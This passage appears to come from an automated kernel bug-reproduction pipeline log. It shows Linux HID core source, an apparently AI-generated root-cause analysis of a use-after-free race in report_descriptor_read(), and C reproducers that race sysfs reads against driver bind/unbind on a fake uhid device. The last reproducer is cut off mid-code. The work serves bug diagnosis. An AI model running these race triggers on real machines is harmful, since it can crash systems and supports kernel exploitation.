((struct hiddev *)hdev->hiddev)->minor);
if (hdev->claimed & HID_CLAIMED_HIDRAW)
len += sprintf(buf + len, "%shidraw%d", len ? "," : "",
((struct hidraw *)hdev->hidraw)->minor);
type = "Device";
for (i = 0; i < hdev->maxcollection; i++) {
struct hid_collection *col = &hdev->collection[i];
if (col->type == HID_COLLECTION_APPLICATION &&
(col->usage & HID_USAGE_PAGE) == HID_UP_GENDESK &&
(col->usage & 0xffff) < ARRAY_SIZE(types)) {
type = types[col->usage & 0xffff];
break;
}
}
switch (hdev->bus) {
case BUS_USB:
bus = "USB";
break;
case BUS_BLUETOOTH:
bus = "BLUETOOTH";
break;
case BUS_I2C:
bus = "I2C";
break;
case BUS_SDW:
bus = "SOUNDWIRE";
break;
case BUS_VIRTUAL:
bus = "VIRTUAL";
break;
case BUS_INTEL_ISHTP:
case BUS_AMD_SFH:
bus = "SENSOR HUB";
break;
default:
bus = "<UNKNOWN>";
}
ret = device_create_file(&hdev->dev, &dev_attr_country);
if (ret)
hid_warn(hdev,
"can't create sysfs country code attribute err: %d\n", ret);
hid_info(hdev, "%s: %s HID v%x.%02x %s [%s] on %s\n",
buf, bus, hdev->version >> 8, hdev->version & 0xff,
type, hdev->name, hdev->phys);
return 0;
}
EXPORT_SYMBOL_GPL(hid_connect);
void hid_disconnect(struct hid_device *hdev)
{
device_remove_file(&hdev->dev, &dev_attr_country);
if (hdev->claimed & HID_CLAIMED_INPUT)
hidinput_disconnect(hdev);
if (hdev->claimed & HID_CLAIMED_HIDDEV)
hdev->hiddev_disconnect(hdev);
if (hdev->claimed & HID_CLAIMED_HIDRAW)
hidraw_disconnect(hdev);
hdev->claimed = 0;
hid_bpf_disconnect_device(hdev);
}
EXPORT_SYMBOL_GPL(hid_disconnect);
/**
* hid_hw_start - start underlying HW
* @hdev: hid device
* @connect_mask: which outputs to connect, see HID_CONNECT_*
*
* Call this in probe function *after* hid_parse. This will setup HW
* buffers and start the device (if not defeirred to device open).
* hid_hw_stop must be called if this was successful.
*/
int hid_hw_start(struct hid_device *hdev, unsigned int connect_mask)
{
int error;
error = hdev->ll_driver->start(hdev);
if (error)
return error;
if (connect_mask) {
error = hid_connect(hdev, connect_mask);
if (error) {
hdev->ll_driver->stop(hdev);
return error;
}
}
return 0;
}
EXPORT_SYMBOL_GPL(hid_hw_start);
/**
* hid_hw_stop - stop underlying HW
* @hdev: hid device
*
* This is usually called from remove function or from probe when something
* failed and hid_hw_start was called already.
*/
void hid_hw_stop(struct hid_device *hdev)
{
hid_disconnect(hdev);
hdev->ll_driver->stop(hdev);
}
EXPORT_SYMBOL_GPL(hid_hw_stop);
/**
* hid_hw_open - signal underlying HW to start delivering events
* @hdev: hid device
*
* Tell underlying HW to start delivering events from the device.
* This function should be called sometime after successful call
* to hid_hw_start().
*/
int hid_hw_open(struct hid_device *hdev)
{
int ret;
ret = mutex_lock_killable(&hdev->ll_open_lock);
if (ret)
return ret;
if (!hdev->ll_open_count++) {
ret = hdev->ll_driver->open(hdev);
if (ret)
hdev->ll_open_count--;
if (hdev->driver->on_hid_hw_open)
hdev->driver->on_hid_hw_open(hdev);
}
mutex_unlock(&hdev->ll_open_lock);
return ret;
}
EXPORT_SYMBOL_GPL(hid_hw_open);
/**
* hid_hw_close - signal underlaying HW to stop delivering events
*
* @hdev: hid device
*
* This function indicates that we are not interested in the events
* from this device anymore. Delivery of events may or may not stop,
* depending on the number of users still outstanding.
*/
void hid_hw_close(struct hid_device *hdev)
{
mutex_lock(&hdev->ll_open_lock);
if (!--hdev->ll_open_count) {
hdev->ll_driver->close(hdev);
if (hdev->driver->on_hid_hw_close)
hdev->driver->on_hid_hw_close(hdev);
}
mutex_unlock(&hdev->ll_open_lock);
}
EXPORT_SYMBOL_GPL(hid_hw_close);
/**
* hid_hw_request - send report request to device
*
* @hdev: hid device
* @report: report to send
* @reqtype: hid request type
*/
void hid_hw_request(struct hid_device *hdev,
struct hid_report *report, enum hid_class_request reqtype)
{
if (hdev->ll_driver->request)
return hdev->ll_driver->request(hdev, report, reqtype);
__hid_request(hdev, report, reqtype);
}
EXPORT_SYMBOL_GPL(hid_hw_request);
int __hid_hw_raw_request(struct hid_device *hdev,
unsigned char reportnum, __u8 *buf,
size_t len, enum hid_report_type rtype,
enum hid_class_request reqtype,
u64 source, bool from_bpf)
{
unsigned int max_buffer_size = HID_MAX_BUFFER_SIZE;
int ret;
if (hdev->ll_driver->max_buffer_size)
max_buffer_size = hdev->ll_driver->max_buffer_size;
if (len < 1 || len > max_buffer_size || !buf)
return -EINVAL;
ret = dispatch_hid_bpf_raw_requests(hdev, reportnum, buf, len, rtype,
reqtype, source, from_bpf);
if (ret)
return ret;
return hdev->ll_driver->raw_request(hdev, reportnum, buf, len,
rtype, reqtype);
}
/**
* hid_hw_raw_request - send report request to device
*
* @hdev: hid device
* @reportnum: report ID
* @buf: in/out data to transfer
* @len: length of buf
* @rtype: HID report type
* @reqtype: HID_REQ_GET_REPORT or HID_REQ_SET_REPORT
*
* Return: count of data transferred, negative if error
*
* Same behavior as hid_hw_request, but with raw buffers instead.
*/
int hid_hw_raw_request(struct hid_device *hdev,
unsigned char reportnum, __u8 *buf,
size_t len, enum hid_report_type rtype, enum hid_class_request reqtype)
{
return __hid_hw_raw_request(hdev, reportnum, buf, len, rtype, reqtype, 0, false);
}
EXPORT_SYMBOL_GPL(hid_hw_raw_request);
int __hid_hw_output_report(struct hid_device *hdev, __u8 *buf, size_t len, u64 source,
bool from_bpf)
{
unsigned int max_buffer_size = HID_MAX_BUFFER_SIZE;
int ret;
if (hdev->ll_driver->max_buffer_size)
max_buffer_size = hdev->ll_driver->max_buffer_size;
if (len < 1 || len > max_buffer_size || !buf)
return -EINVAL;
ret = dispatch_hid_bpf_output_report(hdev, buf, len, source, from_bpf);
if (ret)
return ret;
if (hdev->ll_driver->output_report)
return hdev->ll_driver->output_report(hdev, buf, len);
return -ENOSYS;
}
/**
* hid_hw_output_report - send output report to device
*
* @hdev: hid device
* @buf: raw data to transfer
* @len: length of buf
*
* Return: count of data transferred, negative if error
*/
int hid_hw_output_report(struct hid_device *hdev, __u8 *buf, size_t len)
{
return __hid_hw_output_report(hdev, buf, len, 0, false);
}
EXPORT_SYMBOL_GPL(hid_hw_output_report);
#ifdef CONFIG_PM
int hid_driver_suspend(struct hid_device *hdev, pm_message_t state)
{
if (hdev->driver && hdev->driver->suspend)
return hdev->driver->suspend(hdev, state);
return 0;
}
EXPORT_SYMBOL_GPL(hid_driver_suspend);
int hid_driver_reset_resume(struct hid_device *hdev)
{
if (hdev->driver && hdev->driver->reset_resume)
return hdev->driver->reset_resume(hdev);
return 0;
}
EXPORT_SYMBOL_GPL(hid_driver_reset_resume);
int hid_driver_resume(struct hid_device *hdev)
{
if (hdev->driver && hdev->driver->resume)
return hdev->driver->resume(hdev);
return 0;
}
EXPORT_SYMBOL_GPL(hid_driver_resume);
#endif /* CONFIG_PM */
struct hid_dynid {
struct list_head list;
struct hid_device_id id;
};
/**
* new_id_store - add a new HID device ID to this driver and re-probe devices
* @drv: target device driver
* @buf: buffer for scanning device ID data
* @count: input size
*
* Adds a new dynamic hid device ID to this driver,
* and causes the driver to probe for all devices again.
*/
static ssize_t new_id_store(struct device_driver *drv, const char *buf,
size_t count)
{
struct hid_driver *hdrv = to_hid_driver(drv);
struct hid_dynid *dynid;
__u32 bus, vendor, product;
unsigned long driver_data = 0;
int ret;
ret = sscanf(buf, "%x %x %x %lx",
&bus, &vendor, &product, &driver_data);
if (ret < 3)
return -EINVAL;
dynid = kzalloc_obj(*dynid);
if (!dynid)
return -ENOMEM;
dynid->id.bus = bus;
dynid->id.group = HID_GROUP_ANY;
dynid->id.vendor = vendor;
dynid->id.product = product;
dynid->id.driver_data = driver_data;
spin_lock(&hdrv->dyn_lock);
list_add_tail(&dynid->list, &hdrv->dyn_list);
spin_unlock(&hdrv->dyn_lock);
ret = driver_attach(&hdrv->driver);
return ret ? : count;
}
static DRIVER_ATTR_WO(new_id);
static struct attribute *hid_drv_attrs[] = {
&driver_attr_new_id.attr,
NULL,
};
ATTRIBUTE_GROUPS(hid_drv);
static void hid_free_dynids(struct hid_driver *hdrv)
{
struct hid_dynid *dynid, *n;
spin_lock(&hdrv->dyn_lock);
list_for_each_entry_safe(dynid, n, &hdrv->dyn_list, list) {
list_del(&dynid->list);
kfree(dynid);
}
spin_unlock(&hdrv->dyn_lock);
}
const struct hid_device_id *hid_match_device(struct hid_device *hdev,
struct hid_driver *hdrv)
{
struct hid_dynid *dynid;
spin_lock(&hdrv->dyn_lock);
list_for_each_entry(dynid, &hdrv->dyn_list, list) {
if (hid_match_one_id(hdev, &dynid->id)) {
spin_unlock(&hdrv->dyn_lock);
return &dynid->id;
}
}
spin_unlock(&hdrv->dyn_lock);
return hid_match_id(hdev, hdrv->id_table);
}
EXPORT_SYMBOL_GPL(hid_match_device);
static int hid_bus_match(struct device *dev, const struct device_driver *drv)
{
struct hid_driver *hdrv = to_hid_driver(drv);
struct hid_device *hdev = to_hid_device(dev);
return hid_match_device(hdev, hdrv) != NULL;
}
/**
* hid_compare_device_paths - check if both devices share the same path
* @hdev_a: hid device
* @hdev_b: hid device
* @separator: char to use as separator
*
* Check if two devices share the same path up to the last occurrence of
* the separator char. Both paths must exist (i.e., zero-length paths
* don't match).
*/
bool hid_compare_device_paths(struct hid_device *hdev_a,
struct hid_device *hdev_b, char separator)
{
int n1 = strrchr(hdev_a->phys, separator) - hdev_a->phys;
int n2 = strrchr(hdev_b->phys, separator) - hdev_b->phys;
if (n1 != n2 || n1 <= 0 || n2 <= 0)
return false;
return !strncmp(hdev_a->phys, hdev_b->phys, n1);
}
EXPORT_SYMBOL_GPL(hid_compare_device_paths);
static bool hid_check_device_match(struct hid_device *hdev,
struct hid_driver *hdrv,
const struct hid_device_id **id)
{
*id = hid_match_device(hdev, hdrv);
if (!*id)
return false;
if (hdrv->match)
return hdrv->match(hdev, hid_ignore_special_drivers);
/*
* hid-generic implements .match(), so we must be dealing with a
* different HID driver here, and can simply check if
* hid_ignore_special_drivers or HID_QUIRK_IGNORE_SPECIAL_DRIVER
* are set or not.
*/
return !hid_ignore_special_drivers && !(hdev->quirks & HID_QUIRK_IGNORE_SPECIAL_DRIVER);
}
static void hid_set_group(struct hid_device *hdev)
{
int ret;
if (hid_ignore_special_drivers) {
hdev->group = HID_GROUP_GENERIC;
} else if (!hdev->group &&
!(hdev->quirks & HID_QUIRK_HAVE_SPECIAL_DRIVER)) {
ret = hid_scan_report(hdev);
if (ret)
hid_warn(hdev, "bad device descriptor (%d)\n", ret);
}
}
static int __hid_device_probe(struct hid_device *hdev, struct hid_driver *hdrv)
{
const struct hid_device_id *id;
int ret;
if (!hdev->bpf_rsize) {
/* we keep a reference to the currently scanned report descriptor */
const __u8 *original_rdesc = hdev->bpf_rdesc;
if (!original_rdesc)
original_rdesc = hdev->dev_rdesc;
/* in case a bpf program gets detached, we need to free the old one */
hid_free_bpf_rdesc(hdev);
/* keep this around so we know we called it once */
hdev->bpf_rsize = hdev->dev_rsize;
/* call_hid_bpf_rdesc_fixup will always return a valid pointer */
hdev->bpf_rdesc = call_hid_bpf_rdesc_fixup(hdev, hdev->dev_rdesc,
&hdev->bpf_rsize);
/* the report descriptor changed, we need to re-scan it */
if (original_rdesc != hdev->bpf_rdesc) {
hdev->group = 0;
hid_set_group(hdev);
}
}
if (!hid_check_device_match(hdev, hdrv, &id))
return -ENODEV;
hdev->devres_group_id = devres_open_group(&hdev->dev, NULL, GFP_KERNEL);
if (!hdev->devres_group_id)
return -ENOMEM;
/* reset the quirks that has been previously set */
hdev->quirks = hid_lookup_quirk(hdev);
hdev->driver = hdrv;
if (hdrv->probe) {
ret = hdrv->probe(hdev, id);
} else { /* default probe */
ret = hid_open_report(hdev);
if (!ret)
ret = hid_hw_start(hdev, HID_CONNECT_DEFAULT);
}
/*
* Note that we are not closing the devres group opened above so
* even resources that were attached to the device after probe is
* run are released when hid_device_remove() is executed. This is
* needed as some drivers would allocate additional resources,
* for example when updating firmware.
*/
if (ret) {
devres_release_group(&hdev->dev, hdev->devres_group_id);
hid_close_report(hdev);
hdev->driver = NULL;
}
return ret;
}
static int hid_device_probe(struct device *dev)
{
struct hid_device *hdev = to_hid_device(dev);
struct hid_driver *hdrv = to_hid_driver(dev->driver);
int ret = 0;
if (down_interruptible(&hdev->driver_input_lock))
return -EINTR;
hdev->io_started = false;
clear_bit(ffs(HID_STAT_REPROBED), &hdev->status);
if (!hdev->driver)
ret = __hid_device_probe(hdev, hdrv);
if (!hdev->io_started)
up(&hdev->driver_input_lock);
return ret;
}
static void hid_device_remove(struct device *dev)
{
struct hid_device *hdev = to_hid_device(dev);
struct hid_driver *hdrv;
down(&hdev->driver_input_lock);
hdev->io_started = false;
hdrv = hdev->driver;
if (hdrv) {
if (hdrv->remove)
hdrv->remove(hdev);
else /* default remove */
hid_hw_stop(hdev);
/* Release all devres resources allocated by the driver */
devres_release_group(&hdev->dev, hdev->devres_group_id);
hid_close_report(hdev);
hdev->driver = NULL;
}
if (!hdev->io_started)
up(&hdev->driver_input_lock);
}
static ssize_t modalias_show(struct device *dev, struct device_attribute *a,
char *buf)
{
struct hid_device *hdev = container_of(dev, struct hid_device, dev);
return sysfs_emit(buf, "hid:b%04Xg%04Xv%08Xp%08X\n",
hdev->bus, hdev->group, hdev->vendor, hdev->product);
}
static DEVICE_ATTR_RO(modalias);
static struct attribute *hid_dev_attrs[] = {
&dev_attr_modalias.attr,
NULL,
};
static const struct bin_attribute *hid_dev_bin_attrs[] = {
&bin_attr_report_descriptor,
NULL
};
static const struct attribute_group hid_dev_group = {
.attrs = hid_dev_attrs,
.bin_attrs = hid_dev_bin_attrs,
};
__ATTRIBUTE_GROUPS(hid_dev);
static int hid_uevent(const struct device *dev, struct kobj_uevent_env *env)
{
const struct hid_device *hdev = to_hid_device(dev);
if (add_uevent_var(env, "HID_ID=%04X:%08X:%08X",
hdev->bus, hdev->vendor, hdev->product))
return -ENOMEM;
if (add_uevent_var(env, "HID_NAME=%s", hdev->name))
return -ENOMEM;
if (add_uevent_var(env, "HID_PHYS=%s", hdev->phys))
return -ENOMEM;
if (add_uevent_var(env, "HID_UNIQ=%s", hdev->uniq))
return -ENOMEM;
if (add_uevent_var(env, "MODALIAS=hid:b%04Xg%04Xv%08Xp%08X",
hdev->bus, hdev->group, hdev->vendor, hdev->product))
return -ENOMEM;
if (hdev->firmware_version) {
if (add_uevent_var(env, "HID_FIRMWARE_VERSION=0x%04llX",
hdev->firmware_version))
return -ENOMEM;
}
return 0;
}
const struct bus_type hid_bus_type = {
.name = "hid",
.dev_groups = hid_dev_groups,
.drv_groups = hid_drv_groups,
.match = hid_bus_match,
.probe = hid_device_probe,
.remove = hid_device_remove,
.uevent = hid_uevent,
};
EXPORT_SYMBOL(hid_bus_type);
int hid_add_device(struct hid_device *hdev)
{
static atomic_t id = ATOMIC_INIT(0);
int ret;
if (WARN_ON(hdev->status & HID_STAT_ADDED))
return -EBUSY;
hdev->quirks = hid_lookup_quirk(hdev);
/* we need to kill them here, otherwise they will stay allocated to
* wait for coming driver */
if (hid_ignore(hdev))
return -ENODEV;
/*
* Check for the mandatory transport channel.
*/
if (!hdev->ll_driver->raw_request) {
hid_err(hdev, "transport driver missing .raw_request()\n");
return -EINVAL;
}
/*
* Read the device report descriptor once and use as template
* for the driver-specific modifications.
*/
ret = hdev->ll_driver->parse(hdev);
if (ret)
return ret;
if (!hdev->dev_rdesc)
return -ENODEV;
/*
* Scan generic devices for group information
*/
hid_set_group(hdev);
hdev->id = atomic_inc_return(&id);
/* XXX hack, any other cleaner solution after the driver core
* is converted to allow more than 20 bytes as the device name? */
dev_set_name(&hdev->dev, "%04X:%04X:%04X.%04X", hdev->bus,
hdev->vendor, hdev->product, hdev->id);
hid_debug_register(hdev, dev_name(&hdev->dev));
ret = device_add(&hdev->dev);
if (!ret)
hdev->status |= HID_STAT_ADDED;
else
hid_debug_unregister(hdev);
return ret;
}
EXPORT_SYMBOL_GPL(hid_add_device);
/**
* hid_allocate_device - allocate new hid device descriptor
*
* Allocate and initialize hid device, so that hid_destroy_device might be
* used to free it.
*
* New hid_device pointer is returned on success, otherwise ERR_PTR encoded
* error value.
*/
struct hid_device *hid_allocate_device(void)
{
struct hid_device *hdev;
int ret = -ENOMEM;
hdev = kzalloc_obj(*hdev);
if (hdev == NULL)
return ERR_PTR(ret);
device_initialize(&hdev->dev);
hdev->dev.release = hid_device_release;
hdev->dev.bus = &hid_bus_type;
device_enable_async_suspend(&hdev->dev);
hid_close_report(hdev);
init_waitqueue_head(&hdev->debug_wait);
INIT_LIST_HEAD(&hdev->debug_list);
spin_lock_init(&hdev->debug_list_lock);
sema_init(&hdev->driver_input_lock, 1);
mutex_init(&hdev->ll_open_lock);
kref_init(&hdev->ref);
#ifdef CONFIG_HID_BATTERY_STRENGTH
INIT_LIST_HEAD(&hdev->batteries);
#endif
ret = hid_bpf_device_init(hdev);
if (ret)
goto out_err;
return hdev;
out_err:
hid_destroy_device(hdev);
return ERR_PTR(ret);
}
EXPORT_SYMBOL_GPL(hid_allocate_device);
static void hid_remove_device(struct hid_device *hdev)
{
if (hdev->status & HID_STAT_ADDED) {
device_del(&hdev->dev);
hid_debug_unregister(hdev);
hdev->status &= ~HID_STAT_ADDED;
}
hid_free_bpf_rdesc(hdev);
kfree(hdev->dev_rdesc);
hdev->dev_rdesc = NULL;
hdev->dev_rsize = 0;
hdev->bpf_rsize = 0;
}
/**
* hid_destroy_device - free previously allocated device
*
* @hdev: hid device
*
* If you allocate hid_device through hid_allocate_device, you should ever
* free by this function.
*/
void hid_destroy_device(struct hid_device *hdev)
{
hid_bpf_destroy_device(hdev);
hid_remove_device(hdev);
put_device(&hdev->dev);
}
EXPORT_SYMBOL_GPL(hid_destroy_device);
static int __hid_bus_reprobe_drivers(struct device *dev, void *data)
{
struct hid_driver *hdrv = data;
struct hid_device *hdev = to_hid_device(dev);
if (hdev->driver == hdrv &&
!hdrv->match(hdev, hid_ignore_special_drivers) &&
!test_and_set_bit(ffs(HID_STAT_REPROBED), &hdev->status))
return device_reprobe(dev);
return 0;
}
static int __hid_bus_driver_added(struct device_driver *drv, void *data)
{
struct hid_driver *hdrv = to_hid_driver(drv);
if (hdrv->match) {
bus_for_each_dev(&hid_bus_type, NULL, hdrv,
__hid_bus_reprobe_drivers);
}
return 0;
}
static int __bus_removed_driver(struct device_driver *drv, void *data)
{
return bus_rescan_devices(&hid_bus_type);
}
int __hid_register_driver(struct hid_driver *hdrv, struct module *owner,
const char *mod_name)
{
int ret;
hdrv->driver.name = hdrv->name;
hdrv->driver.bus = &hid_bus_type;
hdrv->driver.owner = owner;
hdrv->driver.mod_name = mod_name;
INIT_LIST_HEAD(&hdrv->dyn_list);
spin_lock_init(&hdrv->dyn_lock);
ret = driver_register(&hdrv->driver);
if (ret == 0)
bus_for_each_drv(&hid_bus_type, NULL, NULL,
__hid_bus_driver_added);
return ret;
}
EXPORT_SYMBOL_GPL(__hid_register_driver);
void hid_unregister_driver(struct hid_driver *hdrv)
{
driver_unregister(&hdrv->driver);
hid_free_dynids(hdrv);
bus_for_each_drv(&hid_bus_type, NULL, hdrv, __bus_removed_driver);
}
EXPORT_SYMBOL_GPL(hid_unregister_driver);
int hid_check_keys_pressed(struct hid_device *hid)
{
struct hid_input *hidinput;
int i;
if (!(hid->claimed & HID_CLAIMED_INPUT))
return 0;
list_for_each_entry(hidinput, &hid->inputs, list) {
for (i = 0; i < BITS_TO_LONGS(KEY_MAX); i++)
if (hidinput->input->key[i])
return 1;
}
return 0;
}
EXPORT_SYMBOL_GPL(hid_check_keys_pressed);
#ifdef CONFIG_HID_BPF
static const struct hid_ops __hid_ops = {
.hid_get_report = hid_get_report,
.hid_hw_raw_request = __hid_hw_raw_request,
.hid_hw_output_report = __hid_hw_output_report,
.hid_input_report = __hid_input_report,
.owner = THIS_MODULE,
.bus_type = &hid_bus_type,
};
#endif
static int __init hid_init(void)
{
int ret;
ret = bus_register(&hid_bus_type);
if (ret) {
pr_err("can't register hid bus\n");
goto err;
}
#ifdef CONFIG_HID_BPF
hid_ops = &__hid_ops;
#endif
ret = hidraw_init();
if (ret)
goto err_bus;
hid_debug_init();
return 0;
err_bus:
bus_unregister(&hid_bus_type);
err:
return ret;
}
static void __exit hid_exit(void)
{
#ifdef CONFIG_HID_BPF
hid_ops = NULL;
#endif
hid_debug_exit();
hidraw_exit();
bus_unregister(&hid_bus_type);
hid_quirks_exit(HID_BUS_ANY);
}
module_init(hid_init);
module_exit(hid_exit);
MODULE_AUTHOR("Andreas Gal");
MODULE_AUTHOR("Vojtech Pavlik");
MODULE_AUTHOR("Jiri Kosina");
MODULE_DESCRIPTION("HID support for Linux");
MODULE_LICENSE("GPL");
]
|
| 119/5 |
2026/05/19 10:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 43235
output: 1802
thoughts: 2002
Thoughts: **Analyzing the HID Report Descriptor Race Condition**
Okay, so I've been looking over this code, and the potential for a race condition in the HID report descriptor handling is screaming at me. Let me break down my thinking:
The core of the issue lies in `report_descriptor_read`. This function is responsible for reading the HID report descriptor, which, as I understand it, is a description of the device's input and output capabilities. It's exposed as a file in the sysfs, which allows user-space to read it, which is all well and good.
`report_descriptor_read` pulls `hdev->rsize` and uses it to limit the amount of data it is going to copy, then `memcpy` the data pointed to by `hdev->rdesc` into the read buffer `buf`.
Now, here's where things get interesting. The problem is that `report_descriptor_read` doesn't take any locks. This lack of synchronization opens the door to a race condition. If a user-space process calls `report_descriptor_read` and it gets preempted *after* reading `hdev->rsize` but *before* the `memcpy`, then `hid_close_report` can be called. `hid_close_report` frees `hdev->rdesc` and sets `hdev->rsize` to zero. So when `report_descriptor_read` resumes, it still has the *old* value of `hdev->rsize`, and it tries to `memcpy` from the now-freed memory pointed to by `hdev->rdesc`. BOOM! Use-after-free vulnerability!
I can see the repro strategy. It makes perfect sense. I will create a minimal C reproducer, based on the provided code, and I need to make sure to include `race_toolkit.h` because that's got the pinning macros and probably other useful things for concurrency testing. I need to make sure the target device is up and available to trigger the vulnerability. I'll need to create a UHID device to serve as a target. Then, I can create threads, one to read the `report_descriptor` and the other to bind and unbind the hid driver, triggering `hid_close_report`. I'll also add a delay to give the race condition time to trigger.
|
| 120/3 |
2026/05/19 10:11 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```]
|
| 121/3 |
2026/05/19 10:11 |
agent |
repro-generator |
0m
Model:
Results: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] open uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] write uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device\n");
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found. Is uhid enabled?\n");
return 1;
}
printf("[+] Found device: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] open report_descriptor failed: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
printf("[-] open bind/unbind failed: %s (is hid-logitech loaded?)\n", strerror(errno));
return 1;
}
printf("[+] Opened bind/unbind files\n");
